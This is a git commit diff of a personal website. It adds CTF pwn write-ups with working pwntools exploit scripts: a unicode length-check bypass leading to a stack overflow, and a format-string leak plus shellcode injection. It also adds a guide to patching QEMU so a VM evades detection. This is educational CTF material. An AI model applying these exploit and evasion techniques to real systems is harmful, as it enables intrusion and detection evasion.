Compare commits
10 Commits
a62dc87cf7
...
ceeab8390c
| Author | SHA1 | Date | |
|---|---|---|---|
|
ceeab8390c
|
|||
|
f535ee938e
|
|||
|
8265c529e3
|
|||
|
6afc45c3b9
|
|||
|
eee392c719
|
|||
|
c3fe965341
|
|||
|
7df580044e
|
|||
|
863fdff225
|
|||
|
15bc9157e8
|
|||
|
8a3f9d77da
|
@@ -1,7 +0,0 @@
|
|||||||
+++
|
|
||||||
date = '2025-06-23T14:24:30+02:00'
|
|
||||||
draft = true
|
|
||||||
title = 'Canary'
|
|
||||||
+++
|
|
||||||
|
|
||||||
Coming soon.
|
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
+++
|
+++
|
||||||
draft = true
|
draft = false
|
||||||
date = 2025-06-24T14:21:07+02:00
|
date = 2025-06-24T14:21:07+02:00
|
||||||
title = ""
|
title = ""
|
||||||
description = ""
|
description = ""
|
||||||
|
|||||||
136
content/posts/hidden_vm.md
Normal file
136
content/posts/hidden_vm.md
Normal file
@@ -0,0 +1,136 @@
|
|||||||
|
+++
|
||||||
|
draft = false
|
||||||
|
date = 2025-08-31T21:27:35+02:00
|
||||||
|
title = "How to create a stealthy VM"
|
||||||
|
description = "How to create a hard to detect virtual machine using QEMU."
|
||||||
|
+++
|
||||||
|
|
||||||
|
This article explains how to create a stealthy virtual machine that can be used for multiple things.
|
||||||
|
I made this for my personnal use so there is still room for improvement.
|
||||||
|
|
||||||
|
Virtual machine detection can be done in a lot of ways however,
|
||||||
|
except for the most basic ones it always revolves around identifying markers that are hard coded into the hypervisor.
|
||||||
|
For example [PCI ID's](https://en.wikipedia.org/wiki/PCI_configuration_space#Standardized_registers), plug and play devices names, etc
|
||||||
|
To defeat this in addition to configuring the VM so it doesn't appear like one we will have to patch and compile the hypervisor.
|
||||||
|
|
||||||
|
## 1. Compiling QEMU
|
||||||
|
|
||||||
|
⚠️ *Always maintain an installation of QEMU managed by your package manager, because it may delete necessary runtime dependencies otherwise! The binaries you compile are saved in **/usr/local/bin**, so they will take precedence.*
|
||||||
|
|
||||||
|
### Build dependencies
|
||||||
|
|
||||||
|
**Arch**:
|
||||||
|
`sudo pacman -S git wget base-devel glib2 ninja python`
|
||||||
|
|
||||||
|
**Ubuntu**:
|
||||||
|
`sudo apt install git build-essential ninja-build python-venv libglib2.0-0 flex bison`
|
||||||
|
|
||||||
|
### Patching and building QEMU
|
||||||
|
|
||||||
|
Go to the directory where you want to keep the sources and run
|
||||||
|
|
||||||
|
{{< highlight bash >}}
|
||||||
|
wget https://raw.githubusercontent.com/furtest/furtest/refs/heads/main/qemu_patch/qemu-10.1.0.patch
|
||||||
|
wget https://download.qemu.org/qemu-10.1.0.tar.xz
|
||||||
|
tar xvJf qemu-10.1.0.tar.xz
|
||||||
|
cd qemu-10.1.0
|
||||||
|
../qemu-10.1.0.patch
|
||||||
|
./configure --disable-werror
|
||||||
|
make -j$(nproc)
|
||||||
|
sudo make install
|
||||||
|
{{< /highlight >}}
|
||||||
|
|
||||||
|
For some reasons the build fails with Werror enabled so we disable it.
|
||||||
|
If you only need the x86_64 system hypervisor you can add `--target-list=x86_64-softmmu` to the configure command which will significantly shorten the compile time.
|
||||||
|
|
||||||
|
## 2. Creating the VM
|
||||||
|
|
||||||
|
You need to make the following changes to the configuration :
|
||||||
|
- Use **BIOS** not UEFI
|
||||||
|
- Change the MAC address (eg: 8c:1f:66:b8:67:84)
|
||||||
|
- Set the video to VGA
|
||||||
|
- Each of those snippets are things you need to have in your config, some of the text (like the `</hyperv>` ) is here for you to locate where to put the thing.
|
||||||
|
|
||||||
|
{{< highlight html >}}
|
||||||
|
<cpu mode='host-model' >
|
||||||
|
<feature policy='disable' name='hypervisor'/>
|
||||||
|
</cpu>
|
||||||
|
{{< /highlight >}}
|
||||||
|
|
||||||
|
{{< highlight html >}}
|
||||||
|
<kvm>
|
||||||
|
<hidden state='on'/>
|
||||||
|
</kvm>
|
||||||
|
</features>
|
||||||
|
{{< /highlight >}}
|
||||||
|
{{< highlight html >}}
|
||||||
|
<vendor_id state='on' value='blackmega'/>
|
||||||
|
</hyperv>
|
||||||
|
{{< /highlight >}}
|
||||||
|
|
||||||
|
**In the uuid field below replace with your uuid (top of the file)**
|
||||||
|
|
||||||
|
{{< highlight html >}}
|
||||||
|
<vcpu placement='static'>6</vcpu>
|
||||||
|
<sysinfo type='smbios'>
|
||||||
|
<bios>
|
||||||
|
<entry name='vendor'>Dell Inc.</entry>
|
||||||
|
<entry name='version'>2.5.2</entry>
|
||||||
|
<entry name='date'>01/28/2015</entry>
|
||||||
|
<entry name='release'>2.5</entry>
|
||||||
|
</bios>
|
||||||
|
<system>
|
||||||
|
<entry name='manufacturer'>Dell Inc.</entry>
|
||||||
|
<entry name='product'>PowerEdge R720</entry>
|
||||||
|
<entry name='version'>Not Specified</entry>
|
||||||
|
<entry name='serial'>H5DR542</entry>
|
||||||
|
<entry name='uuid'>SHOULD MATCH THE UUID OF THE DOMAIN .. CHECK THE ELEMENT uuid ABOVE</entry>
|
||||||
|
<entry name='sku'>SKU=NotProvided;ModelName=PowerEdge R720</entry>
|
||||||
|
<entry name='family'>Not Specified</entry>
|
||||||
|
</system>
|
||||||
|
<baseBoard>
|
||||||
|
<entry name='manufacturer'>Dell Inc.</entry>
|
||||||
|
<entry name='product'>12NR12</entry>
|
||||||
|
<entry name='version'>A02</entry>
|
||||||
|
<entry name='serial'>.5KT0B123.ABCDE000000001.</entry>
|
||||||
|
<entry name='asset'>Not Specified</entry>
|
||||||
|
<entry name='location'>Null Location</entry>
|
||||||
|
</baseBoard>
|
||||||
|
<chassis>
|
||||||
|
<entry name='manufacturer'>Lenovo</entry>
|
||||||
|
<entry name='version'>none</entry>
|
||||||
|
<entry name='serial'>J30038ZR</entry>
|
||||||
|
<entry name='asset'>none</entry>
|
||||||
|
<entry name='sku'>Default string</entry>
|
||||||
|
</chassis>
|
||||||
|
<oemStrings>
|
||||||
|
<entry>myappname:some arbitrary data</entry>
|
||||||
|
<entry>otherappname:more arbitrary data</entry>
|
||||||
|
</oemStrings>
|
||||||
|
</sysinfo>
|
||||||
|
{{< /highlight >}}
|
||||||
|
|
||||||
|
## 3. Installing windows
|
||||||
|
|
||||||
|
During the windows installation there are 2 annoying things
|
||||||
|
- Windows 11 hardware requirements.
|
||||||
|
- Microsoft forcing you to connect to a microsoft account.
|
||||||
|
|
||||||
|
Once the installer has started open a cmd with `shift F10` and run `regedit`.
|
||||||
|
Then go to `KEY_LOCAL_MACHINE\SYSTEM\Setup`, create a new key called `LabConfig` and inside three DWORD values
|
||||||
|
- BypassTPMCheck = 1
|
||||||
|
- BypassSecureBootCheck = 1
|
||||||
|
- BypassRAMCheck = 1
|
||||||
|
|
||||||
|
To use a local account :
|
||||||
|
1. Configure until the windows installation is done which is when you have to choose the language again.
|
||||||
|
2. Then open a cmd again and run `OOBE\BYPASSNRO`
|
||||||
|
3. Wait for reboot
|
||||||
|
4. Once rebooted run `ipconfig /release` (if you forget you will have to go from step 1 again)
|
||||||
|
|
||||||
|
## Sources
|
||||||
|
|
||||||
|
- Most of this was inspired by : https://github.com/zhaodice/qemu-anti-detection
|
||||||
|
- Windows requirement bypass : https://www.tomshardware.com/how-to/bypass-windows-11-tpm-requirement
|
||||||
|
- Things about the VM configuration : https://r0ttenbeef.github.io/Deploy-Hidden-Virtual-Machine-For-VMProtections-Evasion-And-Dynamic-Analysis/
|
||||||
|
|
||||||
8
content/posts/welcome.md
Normal file
8
content/posts/welcome.md
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
+++
|
||||||
|
draft = false
|
||||||
|
date = 2025-06-27T15:34:17+02:00
|
||||||
|
title = "Welcome to my website"
|
||||||
|
+++
|
||||||
|
|
||||||
|
This post is mostly here so the blog category is not empty and also to introduce this new website where I will post ctf writeups and maybe make some blog posts to go with that.
|
||||||
|
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
+++
|
+++
|
||||||
date = '2023-12-11T23:00:00+02:00'
|
date = '2023-12-11T23:00:00+02:00'
|
||||||
draft = true
|
draft = false
|
||||||
title = 'Hack the Box university ctf'
|
title = 'Hack the Box university ctf'
|
||||||
+++
|
+++
|
||||||
|
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ Points: 25
|
|||||||
Number of solves: 512
|
Number of solves: 512
|
||||||
Description:
|
Description:
|
||||||
Here is a logic circuit that implements an unknown function. What is the value of the four output bits?
|
Here is a logic circuit that implements an unknown function. What is the value of the four output bits?
|
||||||
The flag format is FCSC{<value>}. For example, if the value to find is 0001, the flag would be FCSC{0001}.
|
The flag format is `FCSC{<value>}`. For example, if the value to find is 0001, the flag would be FCSC{0001}.
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
|||||||
7
content/writeups/2025/l3ak_ctf/_index.md
Normal file
7
content/writeups/2025/l3ak_ctf/_index.md
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
+++
|
||||||
|
date = '2025-07-14T09:11:19+02:00'
|
||||||
|
draft = false
|
||||||
|
title = 'L3ak ctf'
|
||||||
|
+++
|
||||||
|
|
||||||
|
A ctf that seems to be fairly big, I didn't spend much time on it so only solved 2 rather easy pwn challenges.
|
||||||
BIN
content/writeups/2025/l3ak_ctf/pwn/safe_gets/chall.zip
Normal file
BIN
content/writeups/2025/l3ak_ctf/pwn/safe_gets/chall.zip
Normal file
Binary file not shown.
53
content/writeups/2025/l3ak_ctf/pwn/safe_gets/exploit.py
Executable file
53
content/writeups/2025/l3ak_ctf/pwn/safe_gets/exploit.py
Executable file
@@ -0,0 +1,53 @@
|
|||||||
|
#!/usr/bin/python3
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
# Allows you to switch between local/GDB/remote from terminal
|
||||||
|
def start(argv=[], *a, **kw):
|
||||||
|
if args.GDB: # Set GDBscript below
|
||||||
|
exe = local_exe
|
||||||
|
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
|
||||||
|
elif args.REMOTE: # ('server', 'port')
|
||||||
|
return remote(sys.argv[1], sys.argv[2], *a, **kw)
|
||||||
|
elif args.SSH:
|
||||||
|
exe = remote_exe
|
||||||
|
s=ssh(host='HOST',user='LOGIN',password='PASSWORD',port=0000)
|
||||||
|
return s.process([exe] + argv)
|
||||||
|
else: # Run locally
|
||||||
|
exe = local_exe
|
||||||
|
return process([exe] + argv, *a, **kw)
|
||||||
|
|
||||||
|
|
||||||
|
# Specify your GDB script here for debugging
|
||||||
|
gdbscript = '''
|
||||||
|
break main
|
||||||
|
break *main+202
|
||||||
|
'''.format(**locals())
|
||||||
|
|
||||||
|
|
||||||
|
# USE ./filename otherwise gdb will not work
|
||||||
|
local_exe = './chall'
|
||||||
|
remote_exe = 'REMOTE'
|
||||||
|
# This will automatically get context arch, bits, os etc
|
||||||
|
elf = context.binary = ELF(local_exe, checksec=False)
|
||||||
|
# Change logging level to help with debugging (error/warning/info/debug)
|
||||||
|
#context.log_level = 'debug'
|
||||||
|
context.log_level = 'info'
|
||||||
|
|
||||||
|
# ===========================================================
|
||||||
|
# EXPLOIT GOES HERE
|
||||||
|
# ===========================================================
|
||||||
|
|
||||||
|
io = start()
|
||||||
|
|
||||||
|
payload = flat(
|
||||||
|
b"A"*74,
|
||||||
|
b"\x00",
|
||||||
|
"😄".encode("utf-8")*50,
|
||||||
|
b"A"*5,
|
||||||
|
pack((elf.symbols.win)+5)
|
||||||
|
)
|
||||||
|
write("payload", payload)
|
||||||
|
io.sendlineafter(b"Enter your input (max 255 bytes): ", payload)
|
||||||
|
|
||||||
|
# Receive the flag
|
||||||
|
io.interactive()
|
||||||
103
content/writeups/2025/l3ak_ctf/pwn/safe_gets/index.md
Normal file
103
content/writeups/2025/l3ak_ctf/pwn/safe_gets/index.md
Normal file
@@ -0,0 +1,103 @@
|
|||||||
|
+++
|
||||||
|
date = '2025-07-14T09:16:19+02:00'
|
||||||
|
draft = false
|
||||||
|
title = 'Safe Gets'
|
||||||
|
tags = [ "pwn" ]
|
||||||
|
+++
|
||||||
|
|
||||||
|
description: I think I found a way to make gets safe.
|
||||||
|
Author: White
|
||||||
|
|
||||||
|
We are given a program and a python wrapper around it.
|
||||||
|
|
||||||
|
## Main program
|
||||||
|
|
||||||
|
Let's start with the program after a quick pass through ghidra
|
||||||
|
```C
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
size_t input_len;
|
||||||
|
char buffer [259];
|
||||||
|
char local_15;
|
||||||
|
int input_len_2;
|
||||||
|
ulong i;
|
||||||
|
|
||||||
|
gets(buffer);
|
||||||
|
input_len = strlen(buffer);
|
||||||
|
input_len_2 = (int)input_len;
|
||||||
|
for (i = 0; i < (ulong)(long)(input_len_2 / 2); i = i + 1) {
|
||||||
|
local_15 = buffer[(long)(input_len_2 + -1) - i];
|
||||||
|
buffer[(long)(input_len_2 + -1) - i] = buffer[i];
|
||||||
|
buffer[i] = local_15;
|
||||||
|
}
|
||||||
|
puts("Reversed string:");
|
||||||
|
puts(buffer);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void win(void)
|
||||||
|
{
|
||||||
|
system("/bin/sh");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
It's a simple compiled C program that reverses a string, the interesting thing is the call to `gets` that allows us to overflow the buffer overwrite the return pointer and jump to the beautiful `win` function.
|
||||||
|
No binary protections are stopping us from doing this except the python wrapper the program is launched from.
|
||||||
|
```
|
||||||
|
[*] 'l3ak_ctf/pwn/safe_gets/chall'
|
||||||
|
Arch: amd64-64-little
|
||||||
|
RELRO: Partial RELRO
|
||||||
|
Stack: No canary found
|
||||||
|
NX: NX enabled
|
||||||
|
PIE: No PIE (0x400000)
|
||||||
|
SHSTK: Enabled
|
||||||
|
IBT: Enabled
|
||||||
|
Stripped: No
|
||||||
|
```
|
||||||
|
|
||||||
|
## Python wrapper
|
||||||
|
|
||||||
|
Most of it doesn't matter for us except this small part that limits the length of the input we provide to 255.
|
||||||
|
```python
|
||||||
|
BINARY = "./chall"
|
||||||
|
MAX_LEN = 0xff
|
||||||
|
|
||||||
|
# Get input from user
|
||||||
|
payload = input(f"Enter your input (max {MAX_LEN} bytes): ")
|
||||||
|
if len(payload) > MAX_LEN:
|
||||||
|
print("[-] Input too long!")
|
||||||
|
sys.exit(1)
|
||||||
|
```
|
||||||
|
|
||||||
|
Thus the tricky part is to bypass this limit because we need to write at least 275 chars to have a big enough overflow.
|
||||||
|
|
||||||
|
## Solve
|
||||||
|
|
||||||
|
So what does the `len` function count ? It counts unicode codepoints which can be multiple bytes long.
|
||||||
|
So I replace the part of my payload responsible for filling up the buffer by 😄 emojis and after solving a stack alignment problem I get a shell and the flag.
|
||||||
|
|
||||||
|
Here is my solve script (the interesting part).
|
||||||
|
```python
|
||||||
|
io = start()
|
||||||
|
payload = flat(
|
||||||
|
b"A"*74,
|
||||||
|
b"\x00",
|
||||||
|
"😄".encode("utf-8")*50,
|
||||||
|
b"A"*5,
|
||||||
|
pack((elf.symbols.win)+5)
|
||||||
|
)
|
||||||
|
io.sendlineafter(b"Enter your input (max 255 bytes): ", payload)
|
||||||
|
io.interactive()
|
||||||
|
```
|
||||||
|
And when running it we get the flag.
|
||||||
|
```
|
||||||
|
>>> ./exploit.py REMOTE 34.45.81.67 16002
|
||||||
|
[+] Opening connection to 34.45.81.67 on port 16002: Done
|
||||||
|
[*] Switching to interactive mode
|
||||||
|
$ cat flag.txt
|
||||||
|
L3AK{6375_15_4pp4r3n7ly_n3v3r_54f3}
|
||||||
|
[*] Interrupted
|
||||||
|
[*] Closed connection to 34.45.81.67 port 16002
|
||||||
|
```
|
||||||
|
|
||||||
BIN
content/writeups/2025/l3ak_ctf/pwn/the_goose/chall.zip
Normal file
BIN
content/writeups/2025/l3ak_ctf/pwn/the_goose/chall.zip
Normal file
Binary file not shown.
62
content/writeups/2025/l3ak_ctf/pwn/the_goose/exploit.py
Executable file
62
content/writeups/2025/l3ak_ctf/pwn/the_goose/exploit.py
Executable file
@@ -0,0 +1,62 @@
|
|||||||
|
#!/usr/bin/python3
|
||||||
|
from pwn import *
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
# Allows you to switch between local/GDB/remote from terminal
|
||||||
|
def start(argv=[], *a, **kw):
|
||||||
|
if args.GDB: # Set GDBscript below
|
||||||
|
exe = local_exe
|
||||||
|
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
|
||||||
|
elif args.REMOTE: # ('server', 'port')
|
||||||
|
return remote(sys.argv[1], sys.argv[2], *a, **kw)
|
||||||
|
elif args.SSH:
|
||||||
|
exe = remote_exe
|
||||||
|
s=ssh(host='HOST',user='LOGIN',password='PASSWORD',port=0000)
|
||||||
|
return s.process([exe] + argv)
|
||||||
|
else: # Run locally
|
||||||
|
exe = local_exe
|
||||||
|
return process([exe] + argv, *a, **kw)
|
||||||
|
|
||||||
|
|
||||||
|
# Specify your GDB script here for debugging
|
||||||
|
gdbscript = '''
|
||||||
|
break *highscore+276
|
||||||
|
'''.format(**locals())
|
||||||
|
|
||||||
|
|
||||||
|
# USE ./filename otherwise gdb will not work
|
||||||
|
local_exe = './chall'
|
||||||
|
remote_exe = 'REMOTE'
|
||||||
|
# This will automatically get context arch, bits, os etc
|
||||||
|
elf = context.binary = ELF(local_exe, checksec=False)
|
||||||
|
# Change logging level to help with debugging (error/warning/info/debug)
|
||||||
|
#context.log_level = 'debug'
|
||||||
|
context.log_level = 'info'
|
||||||
|
|
||||||
|
# ===========================================================
|
||||||
|
# EXPLOIT GOES HERE
|
||||||
|
# ===========================================================
|
||||||
|
|
||||||
|
io = start()
|
||||||
|
|
||||||
|
number = subprocess.run(["./predict"], capture_output=True).stdout
|
||||||
|
io.sendlineafter(b"> ", b"GOD")
|
||||||
|
io.sendlineafter(b'so GOD. how many honks?', number)
|
||||||
|
|
||||||
|
io.sendlineafter(b"what's your name again?", b'%p')
|
||||||
|
|
||||||
|
stack = int(io.recv().decode().split()[1], 16)
|
||||||
|
stack -= 0x126 # Offset to our buffer
|
||||||
|
|
||||||
|
# Space before return pointer 376
|
||||||
|
sh = asm(shellcraft.amd64.linux.sh())
|
||||||
|
|
||||||
|
payload = flat(
|
||||||
|
asm('nop')*100,
|
||||||
|
sh,
|
||||||
|
b'A'*(376-100-len(sh)),
|
||||||
|
pack(stack)
|
||||||
|
)
|
||||||
|
io.sendline(payload)
|
||||||
|
|
||||||
|
io.interactive()
|
||||||
168
content/writeups/2025/l3ak_ctf/pwn/the_goose/index.md
Normal file
168
content/writeups/2025/l3ak_ctf/pwn/the_goose/index.md
Normal file
@@ -0,0 +1,168 @@
|
|||||||
|
+++
|
||||||
|
date = '2025-07-14T09:16:28+02:00'
|
||||||
|
draft = false
|
||||||
|
title = 'The goose'
|
||||||
|
tags = [ "pwn" ]
|
||||||
|
+++
|
||||||
|
|
||||||
|
description: When the honking gets tough, you better brush up on your basics.
|
||||||
|
Author: dsp
|
||||||
|
|
||||||
|
For this challenge we are given the binary and the Dockerfile
|
||||||
|
```
|
||||||
|
>>> pwn checksec --file=chall <<<
|
||||||
|
[*] 'l3ak_ctf/pwn/the_goose/chall'
|
||||||
|
Arch: amd64-64-little
|
||||||
|
RELRO: Partial RELRO
|
||||||
|
Stack: No canary found
|
||||||
|
NX: NX unknown - GNU_STACK missing
|
||||||
|
PIE: PIE enabled
|
||||||
|
Stack: Executable
|
||||||
|
RWX: Has RWX segments
|
||||||
|
Stripped: No
|
||||||
|
```
|
||||||
|
|
||||||
|
No stack canary and executable stack we can already guess this will involve a shellcode.
|
||||||
|
|
||||||
|
## Exploration
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> the_goose ./chall
|
||||||
|
Welcome to the goose game.
|
||||||
|
Here you have to guess a-priori, how many HONKS you will receive from a very angry goose.
|
||||||
|
Godspeed.
|
||||||
|
How shall we call you?
|
||||||
|
> GOD
|
||||||
|
|
||||||
|
so GOD. how many honks?10
|
||||||
|
|
||||||
|
HONK ... HONK
|
||||||
|
tough luck. THE GOOSE WINS! GET THE HONK OUT!
|
||||||
|
```
|
||||||
|
|
||||||
|
So it seems like we have to guess the number of HONKs from the goose.
|
||||||
|
Let's fire up ghidra and look at what we facing.
|
||||||
|
|
||||||
|
```C
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
int iVar1;
|
||||||
|
time_t tVar2;
|
||||||
|
|
||||||
|
setvbuf(stdout,(char *)0x0,2,0);
|
||||||
|
tVar2 = time((time_t *)0x0);
|
||||||
|
srand((uint)tVar2);
|
||||||
|
setuser();
|
||||||
|
iVar1 = rand();
|
||||||
|
nhonks = iVar1 % 0x5b + 10;
|
||||||
|
iVar1 = guess();
|
||||||
|
if (iVar1 == 0) {
|
||||||
|
puts("tough luck. THE GOOSE WINS! GET THE HONK OUT!");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
highscore();
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The number of honks are generated by `rand()` which is seeded with the current time.
|
||||||
|
If we correctly guess the number of honks we go inside of the highscore function.
|
||||||
|
```C
|
||||||
|
void highscore(void)
|
||||||
|
{
|
||||||
|
undefined message_buffer [128];
|
||||||
|
char buffer_random [31];
|
||||||
|
undefined local_d9;
|
||||||
|
undefined name_buffer [32];
|
||||||
|
char success_message [74];
|
||||||
|
|
||||||
|
/* The message is written one char at a time I placed everything on the same line to make it readable */
|
||||||
|
success_message = "wow %s you\'re so go what message would you like to leave to the world?"
|
||||||
|
success_message[0x49] = '\0';
|
||||||
|
printf("what\'s your name again?");
|
||||||
|
scanf("%31s",name_buffer);
|
||||||
|
local_d9 = 0;
|
||||||
|
sprintf(buffer_random,success_message,name_buffer);
|
||||||
|
printf(buffer_random);
|
||||||
|
read(0,message_buffer,0x400);
|
||||||
|
printf("got it. bye now.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The highscore function has a really obvious buffer overflow on the call to `read` that would allow us to inject shellcode and jump to it.
|
||||||
|
So there are two steps to this challenge :
|
||||||
|
1. Guessing the number of honks
|
||||||
|
2. Exploiting the `highscore` function to get a shell
|
||||||
|
|
||||||
|
## Guessing the number of honks
|
||||||
|
|
||||||
|
The random number generator is initialised using `srand(time(NULL))` which makes the seed the second of the call to `srand`.
|
||||||
|
We also know how the number of honks is calculated (`nhonks = iVar1 % 0x5b + 10;`).
|
||||||
|
From there we can easily compute the number with a small C program
|
||||||
|
```C
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
srand(time(NULL));
|
||||||
|
printf("%d", (rand() % 0x5b + 10));
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
After compiling we can call it from a pwntools script and correctly guess the number of honks (if you are on a slow link you can add 1 or 2 to the `srand` time).
|
||||||
|
```python
|
||||||
|
number = subprocess.run(["./predict"], capture_output=True).stdout
|
||||||
|
io.sendlineafter(b"> ", b"GOD")
|
||||||
|
io.sendlineafter(b'so GOD. how many honks?', number)
|
||||||
|
```
|
||||||
|
|
||||||
|
## Exploiting the highscore function
|
||||||
|
|
||||||
|
Using the buffer overflow on the `read` call we can easily place a shellcode on the stack (there is no NX).
|
||||||
|
The only problem is finding the address of something on the stack to be able to jump to our shellcode.
|
||||||
|
This can be done using the format string vulnerability when we are asked for our name again. Giving `%p` as the name we are able to leak a pointer to the stack.
|
||||||
|
The last step is to calculate the offsets and finish writing the exploit scrip
|
||||||
|
|
||||||
|
## Putting it all together
|
||||||
|
|
||||||
|
```python
|
||||||
|
io = start()
|
||||||
|
|
||||||
|
number = subprocess.run(["./predict"], capture_output=True).stdout
|
||||||
|
io.sendlineafter(b"> ", b"GOD")
|
||||||
|
io.sendlineafter(b'so GOD. how many honks?', number)
|
||||||
|
|
||||||
|
io.sendlineafter(b"what's your name again?", b'%p')
|
||||||
|
|
||||||
|
stack = int(io.recv().decode().split()[1], 16)
|
||||||
|
stack -= 0x126 # Offset to our buffer
|
||||||
|
|
||||||
|
# Space before return pointer 376
|
||||||
|
sh = asm(shellcraft.amd64.linux.sh())
|
||||||
|
|
||||||
|
payload = flat(
|
||||||
|
asm('nop')*100,
|
||||||
|
sh,
|
||||||
|
b'A'*(376-100-len(sh)),
|
||||||
|
pack(stack)
|
||||||
|
)
|
||||||
|
io.sendline(payload)
|
||||||
|
|
||||||
|
io.interactive()
|
||||||
|
```
|
||||||
|
|
||||||
|
We run it and there we go
|
||||||
|
```
|
||||||
|
>>> ./exploit.py REMOTE 34.45.81.67 16004 <<<
|
||||||
|
[+] Opening connection to 34.45.81.67 on port 16004: Done
|
||||||
|
[*] Switching to interactive mode
|
||||||
|
got it. bye now.$ cat /flag.txt
|
||||||
|
L3AK{H0nk_m3_t0_th3_3nd_0f_l0v3}
|
||||||
|
[*] Interrupted
|
||||||
|
[*] Closed connection to 34.45.81.67 port 16004
|
||||||
|
```
|
||||||
10
content/writeups/2025/l3ak_ctf/pwn/the_goose/predict.c
Normal file
10
content/writeups/2025/l3ak_ctf/pwn/the_goose/predict.c
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
srand(time(NULL) + 1);
|
||||||
|
printf("%d", (rand() % 0x5b + 10));
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -9,6 +9,3 @@ title = 'SCALE 22x'
|
|||||||
I attended the South California Linux Expo better known as [SCALE](https://www.socallinuxexpo.org) for its 22nd edition. For this occasion a CTF (2 actually but I didn't try the other one as it was at the same time) was organised by pacific hackers.
|
I attended the South California Linux Expo better known as [SCALE](https://www.socallinuxexpo.org) for its 22nd edition. For this occasion a CTF (2 actually but I didn't try the other one as it was at the same time) was organised by pacific hackers.
|
||||||
The CTF lasted 2h30 and me and a friend were able to get first place.
|
The CTF lasted 2h30 and me and a friend were able to get first place.
|
||||||
|
|
||||||
- Web
|
|
||||||
- [artist](./web.md)
|
|
||||||
- [the_dev_robots](./web.md)
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
baseurl = "furtest.fr"
|
baseurl = "https://furtest.fr/"
|
||||||
title = "furtest's website"
|
title = "furtest's website"
|
||||||
theme = "hugo-coder"
|
theme = "hugo-coder"
|
||||||
languagecode = "en"
|
languagecode = "en"
|
||||||
@@ -12,7 +12,7 @@ style = "github-dark"
|
|||||||
|
|
||||||
[params]
|
[params]
|
||||||
author = "furtest"
|
author = "furtest"
|
||||||
info = "Libre software advocate; privacy & cybersecurity enthusiast; low-level development enjoyer."
|
info = "FOSS software fan and linux user, I enjoy low level development and cybersecurity. Currently learning digital electronics."
|
||||||
description = "furtest's website and ctf writeups"
|
description = "furtest's website and ctf writeups"
|
||||||
copyright = "Paul Retourné"
|
copyright = "Paul Retourné"
|
||||||
license = "GNU GPLv3"
|
license = "GNU GPLv3"
|
||||||
@@ -49,7 +49,3 @@ style = "github-dark"
|
|||||||
name = "Blog"
|
name = "Blog"
|
||||||
weight = 2
|
weight = 2
|
||||||
url = "posts"
|
url = "posts"
|
||||||
[[menu.main]]
|
|
||||||
name = "Canary"
|
|
||||||
weight = 3
|
|
||||||
url = "canary"
|
|
||||||
|
|||||||
Reference in New Issue
Block a user